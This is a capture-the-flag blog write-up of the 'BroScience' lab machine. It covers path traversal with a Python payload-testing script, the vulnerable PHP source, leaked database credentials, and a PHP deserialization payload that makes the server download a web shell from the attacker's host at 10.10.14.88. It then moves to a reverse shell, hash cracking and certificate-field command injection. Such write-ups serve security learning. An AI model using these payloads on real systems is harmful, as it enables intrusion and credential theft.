[ The CyberTrench ]

Recon/Scanning Gaining Access Privilege Escalation Wrapping Up
Posted on July 22, 2023

BroScience WriteUp

BroScience

Recon/Scanning

Scanning

A few interesting details can be found…

hostname

Lets quickly recon the webserver…

Scanning

A quick glance gives us users, Admin status of the users on the Application and looking at the source reveals PHP! I immediately noticed indacators that points to possible File Inclusion…

Users ADMIN ACTIVATED
Administrator Yes Yes
Bill No Yes
Michael No Yes
John No Yes
dmytro No Yes


Scanning

Tried to create an account, greeted with an “Account not Activated”

Scanning

Scanning

We got redirected too activate.php and we are unable to continue as we do not have the activation code…

With PHP, we know (some.php?thing=) is used to denote the start of a query string. This allows us to pass information back to the server therefore opening up attacks like Directory Traversal. With this knowledge, let’s try

Scanning

Attack Detected!!! Input Sanitization is happening but too what extent?!

Checking out /includes the directory we found in the source code, there is one file that jumps out like a splinter on your big toe…

Scanning

Scanning

Error: Missing ‘path’ param? This seemed rather interesting and I played around and found it was sanitizing my input, so lets see what we can do! Rather than manually trying different paths or payloads, lets use Python to automate this…

import ssl
import urllib.parse
import asyncio
import aiohttp

async def check_payload(session, payload):
    try:
        url = 'https://broscience.htb/includes/img.php?path=' + urllib.parse.quote(payload)
        async with session.get(url) as response:
            ans = await response.text()
            if 'root:' in ans:
                print('Payload found:', payload)
    except aiohttp.ClientError as e:
        print('Error:', str(e))

async def main():
    # Create a shared connection pool
    connector = aiohttp.TCPConnector(limit=20, ssl=False)  
    async with aiohttp.ClientSession(connector=connector) as session:
        with open('TravPayloads.txt') as f:
            payloads = [line.strip() for line in f]

        # Create tasks for each payload
        tasks = [check_payload(session, payload) for payload in payloads]

        # Run the tasks concurrently
        await asyncio.gather(*tasks)

# Run the asyncio event loop
asyncio.run(main())

This could be better as this was quick and dirty, but payloads were found pretty quickly! It seems double encoding our payload is the key to bypassing this sanitation x_X

adding hostname

/etc/passwd

adding hostname

Awesome! We found our Entry Point, how can we leverage this to get User. Speaking of user, it looks like from our list of users from the application that Bill is the only user on the box. Good to know, we are looking for /home/bill/user.txt!

Gaining Access

Now that we know this application is suseptible to Path Traversal, we can start mapping out the system and find more valuable information. I attempted to search for SSH keys or anything else of value that I could find but nothing seemed to work.

We seen a few php files that we can start with most notibly login.php and register.php as well as everything in /includes. We should also look at /includes/img.php to gather how our input is being sanitized…

/includes/img.php

<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

We can see how the code is filtering our input and how double encoding bypasses this as well as why I cannot get ssh. Now just dump the other files, like index.php and login.php. A few new files can be found from all this most notably db_connect.php!

/includes/db_connect.php

<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

This will come in handy later…

Peeking at the other files in /includes

/includes/utils.php

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }sanitizing our input. 
</p>
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

Some things worth noting here as this is alot! The use of time() inside function to generate an activation code as we could use this forge a code for a user and the __wakeup PHP magic method

The time() function returns the current Unix timestamp, which represents the number of seconds elapsed since January 1, 1970. When we seed the PRNG (Pseudo-Random Number Generator) with time(), we are essentially using the current timestamp as the seed value

I am going to safely bet we will need to use this activation function to generate a code then use that to gain access to the application. We of course want to enumerate further as an authenticated user! Lets take a look at activate.php before we begin…

activate.php

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}
?>

<html>
    <head>
        <title>BroScience : Activate account</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            ?>
        </div>
    </body>
</html>

Nothing really screams out to me other than the Avatar class code but we can’t do anything until we are authenticated but good news…

Looking at the pieces of the puzzle, we are going to create an account, POST our own Activation Code to ensure our account is created. We will need to grab the server time from the request of our registered user as that is how we will seed our activation code. I am the laziest hacker you will ever meet so I automated this…

This was not overly complicated but I could not for the life of me figure out how to translate PHP’s strtotime to Python. I decided to just run PHP to create an Activation code and use as an argument. (Im coming back for this!!!)

Scanning

Bata Bing Bata Boom

Scanning


I immediately noticed the new cookie that was generated upon logging in, and we observed from /includes/utils.php that it utilizes serialization techniques to store information pertaining to the theme and state.

Scanning

Interesting…

So we saw the function get_theme which shows us the code for our new Cookie. If you noticed that it gets passed to unserialize and you thought about a PHP deserialization vulnerability then we think alike!

Another use case for PHP, we can attempt too create our own Cookie and replace the current user-pref value to execute single-line commands aka Remote Command Injection (Hopefully). How does this work?

First we will need to understand how we can even talk back to us in the first place! The SAVE function in our Avatar class is using another PHP function file_get_contents and by defintion is a built-in function that allows you to read the contents of a file or a URL into a string variable. Did you read that right? a URL… with this knowledge we can maybe manipulate this to read back to our server, crossing fingers!!!. It then writes this to the $imgPath variable, which we can probably set as ./filename or something that will store in the root of the application.

A few mods of the PHP code to create a new Cookie will look like…

<?php
# This stays the same
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

# Here we modify the $tmp & $imgPath to point to us
# as well as our malicious php cmd file
class AvatarInterface {
    # We create the variables ourselves...
    # file_get_contents is used $tmp, so we set as our server
    public $tmp = "http://10.10.14.88/user.php";
    # We can then save that too the $imgPath variable
    public $imgPath = "./user.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
# base64 encode so we can replace values
$payload = base64_encode(serialize(new AvatarInterface));
echo $payload
?>

user.php

Scanning

Alright, create our new cookie and replace the value…

We can use achieve Command Injection with PHP using a simple file like this. $_REQUEST is a SuperGlobal Variable! Basically a variable in PHP that is an associative array that contains the values of both the $_GET, $_POST, and $_COOKIE arrays. It can be used to access request parameters regardless of the HTTP method used.


Set up our web server…

Scanning

I had trouble but I realized we needed to remove the (=) from our new cookie value

Scanning


Downloaded ;)


Now send a request to our script with curl or browser

Scanning


We can catch a shell quickly with BASH…


Set up our listener…

Scanning

Scanning

It seemed to drop the file every few minutes, refreshing the page will re-download our file. Could be a box issue, probably layer 8 though X_X.

Scanning

If you need help with getting a reverse shell, check this out but by now you should be solid at popping shells X_x! Well, we are on the box as www-data who cannot view the flag so we will need to move laterally to Bill. Onwards to Priv Esc!

Privilege Escalation

Were in! Now its time to get our bearing. We need to get a feel for the land we just entered before we can get root. First, we need to laterally move to bill because we still cannot attain our user flag. Womp Womp!

Scanning

Remember from our earlier recon, we found database information in db_connect.php.

$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

Scanning

Time to enumerate this PostgreSQL Database…

Scanning

Scanning

Grabbing everything from the users tables…

Scanning

Ruh Roh Raggy! Hashes that we shall attempt to crack

Scanning

We can create a custom John rule to handle the password salt which we know from the source code. Not familiar with this and want to get started with John’s Custom Rules!

Scanning

You can see the custom rule added at the end of our /usr/share/john/john.conf, your location may be different. Basically all this does is prepend our value.

Or if your lazy like me, use sed…

Scanning

Scanning

Always make sure you keep your rockyou.txt updated or use a master list.

Scanning

Lateral move completed!

Scanning

Onwards and Upwards…

Since we are on a Linux box, I immediately start with seeing what access I have with sudo as well as checking the /opt directory as there is ALWAYS juicy things to find

Scanning

renew.cert.sh

#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

Scanning

This script seems to be checking SSL certs expiration and if it is expired or about to expire, it parses fields to populate for the new cert. Hmmm, could we abuse this?

Scanning

The use of $commonName stands out, if we can control this we might be able to inject into this. You see how the variable is nestled right into that path. If we can escape it then we can control it! We can test by creating a cert with a payload inside the Common Name field that hopefully will get executed. Here is an example of how this works locally…

Scanning

Testing………

Scanning

We own BroScience!!!

Wrapping Up

The cybersecurity exercise focused on a Medium-level machine, which involved various attack vectors like Web, Source Code Review, Deserialization, and Command Injection. Throughout the process, several crucial lessons were emphasized, highlighting the significance of cybersecurity practices to protect against potential vulnerabilities and attacks.

One of the key takeaways from the exercise was the criticality of sanitizing user input. It is essential never to trust user input outright, as malicious actors can exploit this vulnerability to execute code injection attacks or cross-site scripting (XSS). By thoroughly validating and sanitizing user input, developers can prevent the execution of malicious code and bolster the security of their applications.

The exercise also shed light on the significance of strong password practices. A password that can be easily cracked using widely known password lists, like “Rockyou,” indicates a weak and easily guessable password. Security teams must prioritize robust password complexity requirements and enforce policies that minimize the risk of password compromises. Utilizing techniques like password hashing and salting can further enhance password security.

Lastly, the exercise emphasized the value of conducting thorough source code reviews and penetration testing. These practices help identify and address security weaknesses in the early stages of development, reducing the chances of exposing vulnerable applications to potential attackers.

In conclusion, the cybersecurity exercise provided a comprehensive understanding of various attack vectors and underscored the importance of proactive security measures. By prioritizing user input validation, enforcing strong password policies, maintaining a security-conscious mindset, and conducting regular security assessments, organizations can enhance their cybersecurity posture and better defend against potential threats. Cybersecurity is an ongoing journey, and with continuous vigilance and dedication to best practices, we can stay one step ahead of malicious actors and protect sensitive data and systems effectively.

Scanning

Shoutout to bmdyy for an awesome challenge!!!